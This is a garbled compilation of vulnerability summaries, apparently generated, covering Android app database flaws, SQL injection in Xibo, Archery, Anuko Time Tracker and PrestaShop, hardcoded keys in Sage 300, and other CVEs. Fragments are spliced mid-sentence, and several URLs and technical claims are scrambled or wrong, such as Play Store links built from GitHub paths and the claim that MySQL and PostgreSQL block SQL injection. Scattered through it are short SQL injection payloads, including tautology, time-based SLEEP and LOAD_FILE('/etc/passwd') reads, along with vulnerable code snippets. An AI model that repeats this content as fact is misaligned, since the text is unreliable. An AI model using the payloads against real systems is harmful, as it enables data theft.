This vulnerability allows an attacker to insert malicious inputs or signals to interfere with or alter the app's database. This can render the BestWeather app unusable by manipulating the app's database.

[detail.md](#), and the Google Play Store page for the app '<https://play.google.com/store/apps/details?id=com.contec.bestweather&hl=en&gl=US>'.

An attacker could exploit this vulnerability to corrupt the database or flood it with data, making the app unable to function properly and therefore denying users access to the app. App developers should release a patch to address this flaw and provide guidance to users for updating the app. App developers should also review their code for similar vulnerabilities and implement security best practices to prevent future attacks.

ck by tampering with the app's database.

e restricted.

?0detail.md', and the Google Play Store page for the app at '<https://play.google.com/store/apps/details?id=com.LianKee/SO-CVEs/blob/main/CVEs/CVE-2023-29740/CVE%20detail.md>'. Additional information may be available on the app's Google Play Store page at '<https://play.google.com/store/apps/details?id=com.LianKee/SO-CVEs&blob=main&CVEs=CVE-2023-29740/CVE%20detail.md>'. It is important for users to be cautious about which apps they install on their devices and regularly review app permissions, ensuring that they are not manipulating the database associated with the alarm clock application.

ulating its database, leading to a DoS condition where the app may not function as intended, possibly impacting the alarm app's database handling to modify, corrupt, or delete data. This could prevent alarms from firing. A detailed description of the vulnerability can be found in the GitHub repository at <https://github.com/LianKee/SO-CVEs/blob/main/CVEs/CVE-2023-29740/CVE%20detail.md>, and the Google Play Store listing of the application can be found at <https://play.google.com/store/apps/details?id=com.LianKee/SO-CVEs&blob=main&CVEs=CVE-2023-29740/CVE%20detail.md>.

In terms of impact, if the application is used for critical tasks and its functionality is disrupted, it could lead to a DoS condition. Considering the nature of the attack (privilege escalation) and the potential for data corruption, the impact could be considered high once evaluated.

own file on GitHub at <https://github.com/LianKee/SO-CVEs/blob/main/CVEs/CVE-2023-29738/CVE%20detail.md>. Additional information may be available on the app's Google Play Store page at '<https://play.google.com/store/apps/details?id=com.LianKee/SO-CVEs&blob=main&CVEs=CVE-2023-29738/CVE%20detail.md>'. It is important for users to regularly check for updates and apply security patches, and to download apps from reputable sources. Developers should ensure that their applications handle database operations securely and do not expose sensitive data to third-party applications.

The attacker could exploit the vulnerability within the Wave Animated Keyboard Emoji's database interface to user privacy settings. This defect could lead to an escalation of privilege attack affecting the normal application operations.

In the application's database, which leads to an escalation of privilege attack. A detailed description of the vulnerability can be found in the GitHub repository at <https://github.com/LianKee/SO-CVEs/blob/main/CVEs/CVE-2023-29738/CVE%20detail.md>, and the Google Play Store listing of the application can be found at <https://play.google.com/store/apps/details?id=com.LianKee/SO-CVEs&blob=main&CVEs=CVE-2023-29738/CVE%20detail.md>. It is important for users to regularly check for updates and apply security patches, and to download apps from reputable sources. Developers should ensure that their applications handle database operations securely and do not expose sensitive data to third-party applications.

use an authenticated user to exfiltrate data from the Xibo database.

urity/advisories/GHSA-7ww5-x9rm-qm89- <https://xibosignage.com/blog/security-advisory-2023-05/> /display/map` API route. By successfully injecting SQL commands, the attacker might be able to retrieve throughout the CMS from version 3.2.0 up to before version 3.3.5. It could allow an authenticated user

s data extraction, altering database records, or even complete system compromise depending on the logic on their website. References to these disclosures include the Xibo GitHub page, Claroty's website, and the dataset/data/{id} API route within the CMS, which affects versions starting from 1.4.0 up to but not including

to a flaw in how input values are checked; specifically, values in the `filter` parameter are vetted against delete data in the CMS database. They could also extract sensitive information, such as personal user information vulnerability has been fixed.

tory, and the Xibo signage blog specifically for their security advisory dated May 2023. The provided UI

erity of the vulnerability. In some cases, such as this, the score may not have been assigned at the time of the exploit by exploiting the database files of the application.

vided, an attacker would typically need local access to the device to interfere with the app's database

.md.

ty by using a malicious application installed on the same device or by directly accessing the app's data by updating the database associated with the edjing Mix app.

34/CVE%20detail.md.

: vulnerability.

: ering data within the edjing Mix's database. This could potentially grant the malicious app higher permissions in the database.

: CPU and memory resources of the server, leading to a Denial of Service attack.

90214813085a1a4877c5ef865411 and in the security advisory at <https://github.com/metersphere/metersphere>. This could effectively render the application unresponsive to legitimate users. The attack could be a

a// Hypothetically exploiting the DoS vulnerability by sending a very long passwordString longPasswordString to the application's database files.

access to the device or a means to execute the attack through another app on the same device. The app may also have additional functions.

<https://github.com/LianKee/SO-CVEs/blob/main/CVEs/CVE-2023-29737/CVE%20detail.md>), and the developer should ensure that the app is signed and has the appropriate permissions. It is also important to be cautious about what apps are installed on the same device, as a malicious app might exploit vulnerabilities in other apps.

The app may have a SQL injection vulnerability due to the concatenation of unescaped user input into an SQL query. This could lead to unauthorized data access or manipulation.

The app may also have a privilege escalation vulnerability, allowing it to access sensitive data from the site's database that they normally should not have access to.

The app may also have a timing attack vulnerability, where it is in the process of being finalized.

The app may also have a race condition vulnerability, such as 489d-9443-f173a83447f2.

The app may also have a SQL injection vulnerability, such as wpdb->query("SELECT * FROM table WHERE column = '\$unsafe_variable'");. In this code example, the developer is using the `validate_hmac_signature` function that could lead to timing attacks.

The app may also have a race condition vulnerability, such as generating fake events, which could compromise database integrity, such as erroneously marking an order as delivered.

For more information, see the security advisory GHSA-3rqj-9v87-2x3f on GitHub.

The app may also have a timing attack vulnerability, such as IMAC signatures may take a different amount of time to reject invalid signatures compared to valid ones. For example, if the developer uses `hashlib.sha256().hexdigest()` to calculate the HMAC signature, the attacker can exploit this timing difference to infer the correct HMAC key used in Saleor's implementation of IMAC signatures.

The app may also have a race condition vulnerability, such as response time for each request, the attacker may be able to infer the correct HMAC key used in Saleor's implementation of IMAC signatures.

The app may also have a timing attack vulnerability, such as however, vulnerabilities that allow unauthenticated access to a database should generally be taken seriously. If an attacker gains access to a database, they could potentially read and manipulate data. For example, if the developer uses `hashlib.sha256().hexdigest()` to calculate the HMAC signature, the attacker can exploit this timing difference to infer the correct HMAC key used in Saleor's implementation of IMAC signatures.

The app may also have a race condition vulnerability, such as the ability to be chained with other attacks, where the attacker must first modify the database and then wait for an application upgrade to occur to trigger the actual attack.

The app may also have a race condition vulnerability, such as base table's primary key index with a name that includes malicious SQL code. Then during an upgrade process, the developer may forget to update the index name, resulting in a race condition.

The app may also have a race condition vulnerability, such as base component, where the manipulation of the database leads to cleartext storage of sensitive information. Given the context, storing sensitive data in cleartext could lead to a risk of data exposure and compromise. If an attacker gains access to the database, they could potentially read and use this information for malicious purposes.

The app may also have a race condition vulnerability, such as this vulnerability, and a supporting [YouTube video](<https://www.youtube.com/watch?v=V0u9C5RVSic>). The developer should ensure that the app does not store sensitive information in cleartext, such as the SQLite database file used by the app and extract sensitive information stored in cleartext, such as the password.

The app may also have a race condition vulnerability, such as the ability allows for remote code execution when a malicious JDBC URL is processed.

advisory page at <https://github.com/xerial/sqlite-jdbc/security/advisories/GHSA-6phf-6h5g-97j2>.

de or manipulate the Java application's process flow, potentially leading to compromised system security. An attacker could craft a maliciously engineered JDBC URL that, when processed by an application using a vulnerable version of the JDBC driver, causes the application to connect to a database using a malicious JDBC URL, resulting in the execution of arbitrary SQL queries.

This vulnerability could allow an attacker to perform actions on behalf of a logged-in user without their consent or knowledge. It is important to determine the severity of a vulnerability.

A related vulnerability exists in the WordPress Advanced Database Cleaner plugin. If an attacker can log in to the WordPress site with the vulnerable Advanced Database Cleaner plugin, they could execute unauthorized SQL queries. Since the plugin is not yet available, users should consider disabling the plugin until a fix is provided, and regularly clearing the plugin cache. This vulnerability could allow an attacker to execute arbitrary SQL statements, potentially impacting the confidentiality, integrity, and availability of the back-end database. If the database queries are processed by the server and included in SQL queries without adequate sanitization, the attacker could inject malicious code into the database. Depending on the data the database holds, this could lead to data breaches, compromising personal or sensitive information.

For more information, see the IBM support page at '<https://www.ibm.com/support/pages/node/6988153>'.

Check the IBM support pages and advisories for patch releases or mitigation steps. Best practices also suggest using native query editing permissions to a database schema that restricts their data access, resulting in unauthorized access to sensitive data or manipulation of the database. If the database is at risk and should upgrade to one of these fixed versions.

If patching is not immediately possible, users should ensure that SQL queries used to create sandboxes exclude SQL injection. One way to do this is to use prepared statements. Another way is to use a database that does not allow direct SQL injection. Examples of such databases include MySQL, PostgreSQL, and Oracle. If the database allows direct SQL injection, it is possible to exploit this vulnerability. For example, if the database allows direct SQL injection, an attacker could use a SQL injection attack to extract sensitive information from the database. This could allow this user to edit a SQL snippet, even without having the proper permissions. If the SQL snippet is executed, it could cause the database to drop tables or delete data.

A remote attacker could perform SQL injection attacks on the affected system due to inadequate validation controls. If the user interface doesn't properly sanitize user input, these queries could be used to manipulate the database, extract sensitive information, and could potentially lead to further attacks or exploitation.

For more information, see the Cisco Security Advisory at '<https://www.cisco.com/c/en/us/td/docs/security/advisories/2019/09/cisco-sa-ssm-sql-X9MmjSYh.html>'.

The vulnerability occurs when an attacker appends a SQL query like `` OR 1=1; --` to otherwise legitimate user input. By doing so, the attacker can exploit the SQL injection vulnerability to elevate their access or exfiltrate confidential data like usernames, passwords, and other information susceptible to brute force attacks. The issue stems from the audit logs' initialization method, where the logs are created in a default location and, for additional security, are encrypted using an external key.

1. This could potentially allow an attacker who has access to the logs to perform brute force attacks to

ull request (<https://github.com/dgraph-io/dgraph/pull/8323>), and the Wikipedia article on cryptograph
ker could analyze the logs to find entries with the same Length field (hence same nonce due to the coll
t permits a remote attacker to dump the entire database and gain access to a Windows XP command s
hey can lead to the compromise of the entire database and the underlying server. The fact that an atta

database servers that are connected to this console.

In this case, attackers can also potentially gain a command shell on a Windows XP system, leading to co
database. The attacker could also leverage the SQL injection to execute arbitrary code on the server, p
- <https://github.com/sahiloj/CVE-2023-31702/blob/main/README.md>

R'S QUERY HERE--By appending a malicious SQL statement to the `UsrId` parameter value, an attacker c
y on the client side. This could allow low-privileged users to bypass these controls by directly interacti
risk that users could gain unauthorized access to sensitive data by extracting and using SQL database c
tups could potentially exploit the vulnerability to bypass role-based access controls.

hey have these strings, they might connect directly to the database and perform unauthorized actions
te, update, and delete company records, effectively bypassing role-based access controls meant to pre

:closure-sage-300.

When the CVE details were published.

handle the extraction of tar files within GPPKGs, resulting in a path traversal issue that could allow an

or malfunction of the system, and any files accessible to the running process of Greenplum Database

extracted. The attacker would then trick the Greenplum Database into processing this package, which
t/1ec4affbba7c9745f64edbd80a6680ad29b09471' and '<https://github.com/greenplum-db/gpdb/security/>

e located in the invoices.php file of the system in versions prior to 1.22.11.5781. The problem was cau
access the database of the Anuko Time Tracker application. This could potentially allow attackers to v
ulnerability.

elInvoices()` in the invoices.php file. This added validation could potentially prevent the SQL injection v
on, users should implement additional validation checks as suggested by the software maintainers.

SQL query used for sorting invoices. This could be done by appending a conditional SQL statement such
/timetracker/security/advisories/GHSA-9g2c-7c7g-p58r and <https://github.com/anuko/timetracker/cve-2023-31702>. This issue was caused by a lack of validation for certain parameters in PO
page in Time Tracker. Because certain parameters were not properly sanitized or checked, attackers ca
SQL injection attack.

nplement the patched code from `ttReportHelper.class.php` in version 1.22.13.5792 in their existing ir
nfidential data. They could also manipulate data, disrupt service, or even use the compromised system
tails on the vulnerability, the affected versions, the fixed version, and available workarounds or patche

rts.php` with a crafted parameter such as: ```reports.php?user_input=' OR IF((SELECT SLEEP(5)),0,0) -- ''
superuser within PostgreSQL databases that utilize the aiven-extras package. This could lead to arbitra

ccess on the PostgreSQL database and possibly the underlying host.
; functions, which are then executed with higher privileges.
o prevent unauthorized privilege elevation.
n-extras extension. Upon execution, this could elevate their privileges to superuser, allowing them to r
'gp', the commit addressing the issue at '<https://github.com/aiven/aiven-extras/commit/8682ae01bec>'
e potential for full system compromise and data manipulation or theft.

unauthenticated attackers to interact with the underlying database, potentially accessing sensitive info
tiated database interaction through a web endpoint, it poses a significant threat to the confidentiality, ir

traction of valuable information or further attacks that could impact the operations and security of crit
[a.gov/news-events/ics-advisories/icsa-23-131-12](https://www.cisa.gov/news-events/ics-advisories/icsa-23-131-12)'.

contains malicious SQL code. Since the vulnerability is an error-based SQL injection, the attacker could i
ons to alter database connections to disclose connection passwords in cleartext using the 'test connect

nnection' function, they can obtain database connection passwords in cleartext.

</assets/vulnerability-disclosure/Vulnerability-Disclosure-Jedox-Jedox-04-2023.pdf>.

ompromises the confidentiality of the database credentials and can lead to unauthorized database acc
ate to the 'test connection' function within the application and intentionally or inadvertently disclose d
sions prior to 16.0.2 and is related to the creation of shards containing problematic characters ('/') fro
quent attempts to create new shards through VTAdmin result in errors, and viewing the keyspace(s)

ole-based access control (RBAC); 3) Delete the topology record for the offending shard by using the cli
dles shard creation correctly and avoids the errors that were previously occurring.

dule version documentation on pkg.go.dev for the patched version:

done to disrupt the database clustering operations by preventing other users or admins from creating
sn't adequately validated, allowing for something like the following using VTAdmin's interface: `Create
s in a Recoverable Format vulnerability, which could potentially allow an authenticated attacker to ret
rds.

oit the vulnerability by navigating to the portion of the SEL RTAC database where passwords are storec
websites, such as the ones provided in the references: <https://selinc.com/support/security-notificatio>

; and apply necessary measures to mitigate the risk.

SQL Injection flaw in certain areas of the VIOM web application, which could allow attackers with admi

cale Operations Manager (VIOM) web application before they could take advantage of the SQL injectio
etting any sensitive data stored in the VIOM's back-end database. This might involve manipulating user

er before it is output on a page, which can lead to a Reflected Cross-Site Scripting (XSS) attack. Such an

malicious scripts in the context of their session, potentially leading to unauthorized actions being performed.

If a user clicks on this URL or visits the compromised page, the script executes within their browser, providing information about the vulnerability and any available updates or patches.

This echoes back a parameter without proper handling: ``php// Do NOT use this code; it's an example lies in the fact that no fields sent to the database were properly escaped, making them susceptible automatically at compile time); the ODBCAppender must be enabled for logging messages, which is typical of injection. Additionally, users should migrate to the new DBAppender class, which not only supports ODBCAppender" > <param name="sql" value="INSERT INTO logs (message) VALUES ('%m')" /> ... others are sanitized before being processed by the ODBC appender. This could lead to various malicious activities. Detailed discussions and updates about the vulnerability, its impacts, and recommendations for necessary steps to secure their systems.

A privilege on a database could exploit this issue to alter the ownership of a table in Hive when the Apache source issue.

data modification, privilege escalation, or access to sensitive information that a malicious actor should review. See [Permission Assignment for Critical Resource](#) issue.

The Hive Plugin (versions 2.0.0 to 2.3.0) to alter the ownership of tables in Apache Hive. This could allow the attacker to execute shell commands to connect to the database, potentially allowing them to run arbitrary commands. It is recommended to review system access policies to ensure that only trusted users have authenticated access, and to disable the mutable Javascript environment when using specific design document functions, leading to potential privilege escalation, and update functions. It is important to note that map/reduce or search (Dreyfus) index functions are not affected by this issue.

The attacker could execute shell commands to connect to the database, potentially allowing them to run arbitrary commands. It is recommended to review system access policies to ensure that only trusted users have authenticated access, and to disable the mutable Javascript environment when using specific design document functions, leading to potential privilege escalation, and update functions. It is important to note that map/reduce or search (Dreyfus) index functions are not affected by this issue.

A method to circumvent the issue.

table Javascript environment of design document functions from different databases on the same cluster.

See [Apache mailing list threads linked in the CVE references](#).

information.

ly crafted requests to execute limited SQL commands within the application's database.

properly handled by the application, leading to unauthorized access to or manipulation of database

HEAD&st=commit&s=MDL-77187- Red Hat Bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=218777 promise if the database server is not properly isolated from other critical systems.

Jedox's official channels, such as the Git repository and community forums for the latest updates regarding remote authenticated users to view details of database connections by using the 'com.jedox.etl.n'

'Connection' method of the 'com.jedox.etl.mngr.Connections' class, leading to unauthorized access to <https://www.jedox.com/assets/vulnerability-disclosure/Vulnerability-Disclosure-Jedox-Jedox-04-2023.pdf>. These references navigate to the '/tc/rpc' endpoint and invoke the 'getGlobalConnection' method from the 'com.jedox.e' strings stored in ISAM database files within the shared data directory. This could potentially be exploited by parties.

attacker could utilize the hard-coded blowfish key to decrypt user passwords and SQL connection strings. The hard-coded Blowfish key found in the application's source code or binary files, and using it in conjunction with the database connection string for the PORTAL database located in the 'dbconfig.xml' file. This weakness grants access to this file could use the hard-coded key to decrypt the database connection string and obtain unauthorized data access, data manipulation, extraction of sensitive information, or further exploitation of the vulnerability.

, the attacker could decrypt the string and gain unauthorized access to the SQL database, which might readPassKey,' used to encrypt and decrypt secrets stored in configuration files and database tables within

ored in the configuration files and database tables of Sage 300 software. This could lead to unauthorized access. Once the vulnerability has been resolved, or applying any security patches or workarounds released by Sage to address the issue, sensitive information, leading to data theft or manipulation. Additionally, if the hardcoded key became publically available and released to address the vulnerability. It is important to keep software up to date and apply security patches as soon as they are released. In this case, a low-privileged user at a workstation has the potential to exploit their access to the 'SharedData' key, which makes older becomes accessible to workstation users who can exploit the vulnerability.

rator-level access to the Sage 300 MS SQL database. With this access, the attacker could potentially create

<http://www.sagepub.com/sage-300-case-study>.

relatively low barrier to entry for carrying out the exploit.

d potentially discover the vulnerability in the 'SharedData' folder. By exploiting CVE-2022-38583, the e
laintext for the Asterisk Database (MariaDB/MySQL) and Asterisk Manager Interface by placing AMPD
able list of Sangoma FreePBX. An attacker could exploit this by making an API call (such as /ari/asterisk
>w unauthorized disclosure of database and management credentials.

modify configuration, eavesdrop on calls, conduct toll fraud or cause service disruption. Additionally, the 'https://www.sangoma.com/open-source' and 'https://www.sangoma.com/products/open-source/'. These references provide details about the vulnerability. The CVSS score for this issue is 7.5, indicating a moderate severity level. The affected version of Sangoma Asterisk 15.0.0.0-15.0.0.0 is no longer supported by Sangoma and has not received a patch. It is recommended to upgrade to a supported version of Sangoma Asterisk.

em within the OS, affecting versions 4.8 and prior. The issue arises in the implementation for the storage driver, which does not properly validate input parameters. This can allow an attacker to cause an overflow by calling the `cfs_open` function, which then reads from memory or write to it. This could lead to system instability, data corruption, or become unresponsive, unauthorized data access if information beyond the buffer is exposed, and, potentially, remote code execution. The vulnerability has been assigned the identifier `CVE-2023-3000`. It was discovered and reported to the vendor by a security researcher, and a fix has been published.

nges that solve the off-by-one error in the Antelope database management system for Contiki-NG.

iki-[ng](#)/security/advisories/GHSA-257g-w39m-5ji4' and examining the pull request at '<https://github.com>

because a database administrator of one database can execute code or read/write files from another database.

'/security.netapp.com/advisory/ntap-20230511-0010/, and an IBM support page at <https://www.ibm.com/support/pages/ntap-20230511-0010>. IBM will provide CVSS calculators when it becomes available.

ability to execute unauthorized commands or access sensitive data in another database on the same machine.

taShop.

ent, theft of sensitive data, or further attack escalation. Since the attacker would not need specific rigl
github.com/PrestaShop/PrestaShop/security/advisories/GHSA-p379-cxqh-q822'.

on the operating system by exploiting the SQL function 'LOAD_FILE' in a 'SELECT' request. This could potentially lead to a privilege escalation or data theft.

sensitive data, abuse of the system, or further exploitation depending on the files that were accessible with the `LOAD_FILE` function, such as `SELECT LOAD_FILE('/etc/passwd');`. This would allow them to read, or other data that should not be accessible. This could lead to information disclosure, privilege escalation, or even remote code execution. The issue was identified in the PrestaShop/PrestaShop/commit/cddac4198a47c602878a787280d813f60c6c0630 commit, <https://github.com/PrestaShop/PrestaShop/commit/cddac4198a47c602878a787280d813f60c6c0630>, and affects Apache Superset versions 1.3.0 through 2.0.1.

1gk3solwnmq5k7md53tsz

They can then target the vulnerable REST API endpoint to retrieve database connection information. With this information, they can interact with the database directly. This could lead to serious consequences, such as data loss, or unauthorized modifications.

<https://vi-solutions.de/en/announcements/867-security-announcement-cve-2023-23754>
CONCATENATED to the query: ' OR '1'='1'; --. This could result in a query that returns all records or mar

ng general database security best practices to prevent SQL injection attacks.

s such as data exfiltration, database corruption, and denial of service.

on. The attacker could craft input that generates a query capable of retrieving sensitive information, a
ser input into SQL queries within certain methods of the platform's code. It specifically impacts the `sq
input before concatenating it into SQL queries and then executing these queries against the database.

e used to manipulate the SQL queries in a malicious way, effectively preventing SQL injection attacks.
ry SQL audit platform.

orized access to data, modify or delete information, execute administration operations on the database
alue` parameters to the affected `param_edit` endpoint in `sql/instance.py`. This input would be unsa

;9f759d0d23bb63a54f52616752/sql/instance.py#L161-L202', and a GitHub security advisory at '<https://github.com/hhyo/Archery/security/advisories/GHSA-jwjj-jgfv-x66q>

ating user-supplied input in the 'db_name' parameter within the 'sql/data_dictionary.py' `table_list` e
nes/mssql.py' and 'get_group_tables_by_db' in 'sql/engines/oracle.py'. These methods fail to safely h
ry = f"SELECT * FROM information_schema.tables WHERE table_schema = '{db_name}'" return execu
ly, using parameterized queries or prepared statements to separate SQL logic from user input. These r

/hyo/Archery/security/advisories/GHSA-jwjj-jgfv-x66q

er successfully exploits these vulnerabilities, they might be able to read or modify sensitive data from
ous methods of the platform that concatenate user-provided data into SQL queries without proper sar
ame` and `tb_name` parameters. The vulnerable methods are located in different SQL engine implem
nts the execution of arbitrary SQL commands by ensuring that user input is safely handled and cannot
. query string:```python# Example vulnerable code in sql/engines/mssql.pydef get_table_meta_data(se
;. These commands could be designed to leak sensitive information, alter data, or perform other unaut
da4c3b7d59f759d0d23bb63a54f52616752/sql/data_dictionary.py#L47-L862. The security advisory for
ext and information related to this security issue.

ed databases through the improper handling of user input within the software.

`sql_optimize.py` is unsafely passed to the `sqltuningadvisor` method in `oracle.py`, where it is execut
vent SQL injection vulnerabilities.

; not correctly sanitized by the `sql_optimize.py` script, it executes directly in the database, allowing th
parameter contains the SQL injection payload which attempts to drop (i.e., delete) the 'users' table from
vulnerability is specifically found in the `explain` method in the `sql_optimize.py` file.

in the `explain` method in `sql_optimize.py`.

i database engine for execution. This can result in SQL injection attacks when the input is not properly

T.get('db_name') # User-supplied inputquery = 'SELECT * FROM sys.databases WHERE name = "' + db_r
execution of harmful SQL code that an attacker could inject into the `db_name` parameter.

eft, data manipulation, or other malicious database operations. For example, an attacker could extract
<https://github.com/hhyo/Archery/security/advisories/GHSA-349r-2663-cr3w>

research and documents findings with such an identifier.

ne `sql_api/api_workflow.py` endpoint `ExecuteCheck`. The issue arises from unfiltered input being pa

ies. Both approaches can significantly reduce the risk of SQL injection attacks.

HSA-3p43-89m6-7x5w.

vulnerable code in `api_workflow.py` `db_name = request.GET.get('db_name')` `explain_check_result = execute_check(db_name)` retrieves data from the database. 2. Database Manipulation: An attacker could alter or delete data in the database by sending crafted SQL queries.

The `executeCheck` endpoint`. This input is unsafely concatenated into a SQL query and executed on the connection. Example of a potentially unsafe query construction leading to SQL injection:
`def execute_check(db_name):` `query = f"SELECT * FROM users WHERE name = '{db_name}'"` `cursor.execute(query)` `result = cursor.fetchall()` `return result`

This helps prevent SQL injection attacks. depending on the privileges of the database connection used by Archery.

`sql.py`, `sql/enGINES/oracle.py`, `sql/enGINES/pgSQL.py`, and `sql/enGINES/phoenix.py`.

A web request to the affected ``describe` endpoint`. By inserting malicious SQL code into these parameters, an attacker can gain unauthorized access to the database.

This issue affects certain versions of Redis and has been fixed in versions 7.0. At least medium severity, depending on the context of the affected environment.

This server crashing upon access to these fields, potentially leading to a denial of service (DoS). If Redis is configured to crash on access to these fields, it will cause the Redis server to crash. The example code would entail an authenticated user sending a payload similar to the one shown in the advisory, and various advisories published by Linux distributions and projects such as Debian and Fedora.

Access to all data or complete access to all Java VM accessible data.

uld exploit the vulnerability within the Java VM component to alter or view critical data without proper authentication. It's an easily exploitable flaw that permits an attacker with high-level privileges, such as Local SYSDBA, to perform Denial of Service (DoS).

The exploit could connect to the Oracle Net interface and send malicious commands or payloads to the Oracle database, rather than providing instructions on how to exploit it. To understand the technical details of CVE-2023-3072, refer to the official Oracle Security Advisory.

lpzmz5vboggdnzpojb.

sensitive data within the IoTDB instance through this vulnerability. Since the affected component offe

he `--grpc-preshared-key` flag, which should be confidential, could be exposed via the `/debug/pprof/` endpoint. Following best practices, like using Authzed's SpiceDB Serverless, SpiceDB Dedicated, or SpiceDB Operator, in a trusted network, an attacker could query the `/debug/pprof/cmdline` endpoint to retrieve command-line flags (e.g., `RED_KEY=yoursecret spicedb serve`). - Bind the metrics address to a trusted network by reconfiguring `

mr35-7xh6- The commit that addressed the issue: <https://github.com/authzed/spicedb/commit/9bbd>

I and the metrics service is exposed, the response to this request would include the command-line arguments

to list all the keyspaces using `vtctldclient GetKeyspaces`. This restricts users from performing these actions.

Aic keyspace could be something like: `vtctldclient DeleteKeyspace <keyspace_name>` Replace `<keyspace_name>` with the intention of disrupting the administration interface (VTAdmin) and command-line arguments.

ea7a8580a544e6ddf88 and the security advisory GHSA-735r-hv67-g38f available at the following URLs: https://www.cisa.gov/cisa-releases-advisory-ghsa-735r-hv67-g38f. This exploit can corrupt data in a terminfo database file, potentially affecting setuid applications that use the ncurses library.

FO or TERM environment variables to point to it. If a setuid application then uses this corrupted terminfo file, it is a local attack, meaning the attacker needs to have access to the system on which the vulnerable application runs. The attacker could check relevant CVE databases and advisories.

This exploit is similar to NetApp and Apple. These can provide further context, patching information, and responses from the vendor. The exploit could be used to inject malicious data into these files, leading to memory corruption in a setuid application using ncurses. The attacker could inject malformed data into these files, leading to memory corruption in a setuid application using ncurses.

POST requests for an HTTP endpoint, which allows attackers to potentially reindex the database with malicious reindexing operations, which could degrade performance, interfere with search function

require POST requests, the attacker could use a GET request to trigger a database reindexing operation. Users should consider disabling the affected plugin or limiting access to the Jenkins instance to trusted users. This security flaw is due to the fact that access to the endpoint used for the action 'shipnotify' is completely unauthenticated. Since the endpoint does not have proper access controls, attackers can attempt to insert arbitrary data into the data being sent to the ShipStation.com plugin. The attackers exploit the unchecked 'shipnotify' endpoint, potentially leading to a denial of service as 'N/A' which means it was not available or not yet assigned at that time.

cles/360025855352-CS-Cart), and a post on jerdiggity.com (<https://www.jerdiggity.com/node/870>). If they have a likely order number, they would craft a malicious HTTP request to the 'shipnotify' endpoint. This vulnerability affects versions 5.13 and 10.0.7. The vulnerability allows SQL Injection, which enables users with access to certain functions to execute arbitrary SQL code. However, given that it allows for SQL Injection and potentially writing a webshell to the server, it could be exploited for privilege escalation. The specific exploit described in this CVE is as follows:

tance > Statistics' and 'Tools > Reports' read rights from every user to temporarily prevent exploitation to potentially write a webshell on the server. This can lead to unauthorized access, data leakage, and as well as the GLPI security advisory located at '<https://github.com/glpi-project/glpi/security/advisories/>' exploit the SQL Injection vulnerability by crafting malicious SQL queries within the report or statistics feature starting from 2.5.0 up to before 3.5.8, 4.0.4, and 4.1.2 where an insecure LDAP query made during logon

attacker can manipulate the LDAP query and potentially leak sensitive information from the LDAP database. For instance, if user input is improperly sanitized, an attacker could formulate input strings that manipulate the search results.

ixed the issue, links to which include:- The specific commit in Mastodon's code addressing the vulnerability projects/products. The issue specifically affects the `overlay` network driver, a core feature of Swarm Mode. It may appear to be functioning correctly and passing traffic, the traffic is actually unencrypted. This means that users of these platforms should update to these versions to resolve the vulnerability.

encrypted traffic from leaking over the Internet. Additionally, ensuring that the `xt_u32` kernel module is installed that enforce IPSec for incoming and outgoing traffic based on the VXLAN Network ID (VNID). Using the Microsoft SQL (MSSQL) Database Storage Backend. The vulnerability stems from insufficient sample configuration.

ns to mitigate the vulnerability.

within the database, potentially having a severe impact on the confidentiality, integrity, and availability of data. An attacker can exploit this vulnerability by injecting malicious SQL queries through user input that is not properly sanitized. This can lead to unauthorized access, data modification, or deletion. The specific exploit involves sending a specially crafted request to the endpoint that includes malicious SQL code. The GoCD application then processes this request, leading to unintended database modifications. The attack vector is typically a configuration parameter or a user input field that is not properly validated. The resulting error message, such as "ORA-00001: unique constraint (SYS_C001) violated", is intentionally leaked to admin alerts in the GoCD user interface, providing a clear indicator of a successful exploit attempt.

MySQL databases, respectively. When backups are triggered, and these utilities are not found, the setups or ensure that the required `pg_dump` or `mysqldump` utilities are present on the GoCD server will

ory.

ess to the admin interface and discovering the credentials, leading to unauthorized access or attacks on TH for a PostgreSQL database. When a backup operation is attempted, the lack of the `pg_dump` tool \ change another user's settings or alter the database, posing a risk to the integrity and security of the d

are outside of the intended web root folder. This can lead to unauthorized modification or viewing of eability database entry at '<https://jvn.jp/en/jp/JVN01398015/>'.

address the directory traversal vulnerability.

the directory structure. By doing so, the attacker could access or modify sensitive files or configuratio

-6959-cdecb-1.html.

the vulnerable mail query function builds an SQL query using user input without proper validation or p commands through the mail query function to manipulate the database. This could include extracting `is_refresh_token` from the log outputs, which could potentially be used to impersonate users without onate legitimate users, potentially leading to unauthorized access, data breaches, and other security cc led in version 9.23.3 of Directus. The patch can be viewed in the commit on GitHub represented by the i this security issue.

ially invalidate any refresh tokens that may have been exposed to ensure no unauthorized access can e4fb35315424011afc) that addresses the patch. The code changes can be viewed directly in the GitHul vulnerability that provides access to system logs. Once they have the logs, they could search for instanc vulnerability was publicly disclosed on 23 March 2023.

link or loading an image.

a database activity, because the link does not include the CSRF token required to verify the intent of t on and potentially data integrity issues if the templates were to manage data flow or constraints.

nded actions to be performed on the user's behalf without their consent or knowledge. This could con

ross-Site Scripting) risk. It was discovered that the lack of proper sanitization could potentially lead to i

i. This can lead to unauthorized actions being performed, sensitive information being stolen, session h

are <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org> messag g output and rendered in other users' web browsers. As this code is executed, the attacker could unde -linking filter properly sanitizes output to prevent injectable script code from being executed in the use attacker to send specially crafted SQL statements, potentially leading to unauthorized viewing, adding

lead to data breaches, unauthorized access to sensitive information, and could compromise the integrity of properly sanitized API requests that the application passes to the back-end database without proper input validation.

updates, patches, or recommendations to prevent the exploitation of this vulnerability. input field or API endpoint in the application. If the input is not properly sanitized before being passed trusted network, increasing the likelihood of remote exploitation.

; can exploit this vulnerability by using the MSETNX command to trigger a runtime assertion and termi

ial of service (DoS) by terminating the server process, thereby disrupting all operations and services re

[is/commit/48e0d4788434833b47892fe9f3d91be7687f25c9.](#)

ated users only. Additionally, they should monitor the use of potentially vulnerable commands and log

-Commerce%20System/SQLi-1.md

merce System. This could lead to unauthorized access to sensitive data, manipulation or deletion of malicious SQL code into the 'id' parameter in the URL. For instance, if the original URL is expected to be of service by corrupting database queries; and potentially using the compromised database server as a means due to inadequate escaping of the 'banner_id' parameter and improper preparation of SQL queries.

looks something like this: `$sql = "SELECT * FROM $table WHERE id = $banner_id";` An attacker could exploit the vulnerability, as even accounts with limited access could be used to carry out an attack if compromised.

